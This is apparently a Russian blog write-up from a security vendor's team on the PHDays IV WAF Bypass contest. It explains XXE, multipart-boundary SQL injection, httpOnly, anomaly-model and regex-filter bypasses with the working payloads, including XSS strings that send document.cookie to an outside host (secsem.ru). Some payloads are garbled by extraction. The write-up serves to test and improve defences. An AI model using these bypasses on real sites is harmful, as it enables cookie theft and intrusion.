Разбор заданий конкурса WAF Bypass на PHDays IV
В этом году на Positive Hack Days проходил конкурс WAF Bypass, участники которого могли попробовать свои силы в обходе PT Application Firewall. Для нас проведение такого конкурса было отличным шансом проверить продукт в бою, ведь на конференции собрались лучшие специалисты в области информационной безопасности.Для конкурса мы подготовили набор заданий. Каждое представляло собой сценарий с типовой уязвимостью: с ее помощью нужно было добыть флаг. Все задания имели решение, но решения не всегда были очевидными. Участникам был доступен отчет о сканировании исходных кодов заданий с помощью другого продукта нашей компании — Application Inspector. В этом посте мы расскажем о заданиях, обходах и полученном опыте.
1. XXEПервое задание состояло из XMLRPC-сервера на PHP, уязвимого к XML External Entities Injection. Уязвимость глазами Application Inspector:
Задание было разминочным, и Application Firewall был настроен на блокировку только простых XXE:
]>&xxe; Получить флаг можно было с помощью, например, parameter entities: %xxe; ]>
------, xxxx Content-Disposition: form-data; name=«img»; filename=«img.gif»
GIF89a ------ Content-Disposition: form-data; name=«id»
1' union select null, null, flag, null from flag limit 1 offset 1-- - -------- ------, xxxx-- В PHP имеется свой уникальный парсер multipart-данных, который в качестве boundary берет значение до запятой в заголовке Content-Type. Нормальные парсеры берут полное значение. Поэтому без нормализации WAF будет считать, что в запросе файл, который не будет проверяться фильтром. А вот PHP «увидит» в этом запросе параметр id с полезной нагрузкой.3. httpOnly Это задание и все последующие ориентированы на client-side-уязвимости. Для конкурса мы сделали бота на Selenium, для которого выставлялись cookie с флагом; цель задания — украсть эти cookie.httpOnly — флаг cookie, который запрещает доступ к ее значению с помощью JavaScript (отсюда и название).
Код уязвимого сценария:
httpOnly bypass
In this task you need to bypass httpOnly and steal bot cookies using http://waf-bypass.phdays.com/#bot. All XSS checks are disabled, but there is an intentional bug, try to find it!
if (! isset ($_GET['name'])) die (»
Please provide name
»);if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { setcookie ('flag', $_GET['name'] . '-' . file_get_contents ('./flag')); } else { setcookie ('flag', $_GET['name'] . '-' . md5(mt_rand ())); }
echo '
' . $_GET['name'] . '
';?> Здесь можно отметить два момента: пользовательское значение попадает в значение cookie, входящие данные выводятся как есть. Очевидно, что бот, перейдя по ссылке с XSS, не отправит свои cookie из-за httpOnly, который выставляет Application Firewall. Чтобы обойти защиту, необходимо было указать в значении cookie строку httpOnly, тогда WAF посчитал бы, что флаг уже выставлен и добавлять свой не надо: httponly.php? name=; HttpOnly
4. Anomaly
В этом задании участникам предлагалось проверить механизм выявления аномалий, использующий алгоритмы машинного обучения, которые лежат в основе PT Application Firewall. Была подготовлена модель данных, которую переобучили (overfit) на разнородных значениях. Суть обхода заключалась в том, чтобы составить такую строку, которая удовлетворяла параметрам обученной статистической модели. В данном задании также имелась уязвимость Cross Site Scripting, однако httpOnly не выставлялся. Обойти даже ослабленную нами статистическую модель удалось лишь двум участникам:
aaaaaaaaaaaa … [snip] … aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav%3Cvideo+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+src=//secsem.ru+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+onerror=src%2b=document.cookie+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/%3E
Стоит отметить, что для «разбавления» спецсимволов, на которые реагировал WAF, использовалось обращение к значению атрибута тэга из другого атрибута, расположенного достаточно далеко, чтобы строка не выходила за порог.5. RegEx
Задача участников этого задания — обойти фильтр, использующий регулярные выражения, и украсть cookie бота. Неотъемлемая часть любого традиционного WAF — это сигнатуры на основе регулярных выражений. Мы еще раз убедились, что хороший WAF не должен полагаться только на «регулярки». Вот некоторые из обходов:
')\»>
1%3Cvideo%20%20src%3dx%20onerror%3d%0Asrc='ht'%2b’tp:'%2b'//'+d\\u006fcument['\\x63ookie']%3E%3C/video%3E
Немного статистики: за два дня проведения конкурса было заблокировано 122644 запроса, зарегистрировался 101 участник, лишь 11 смогли добыть хотя бы один флаг.
Динамика первого дня
Динамика второго дня
Статистика по атакам
Статистика по задниям
А еще для конкурса мы сделали классную визуализацию с помощью logstalgia.
На этом все!
Арсений Реутов (Raz0r), Дмитрий Нагибин и PT Application Firewall Team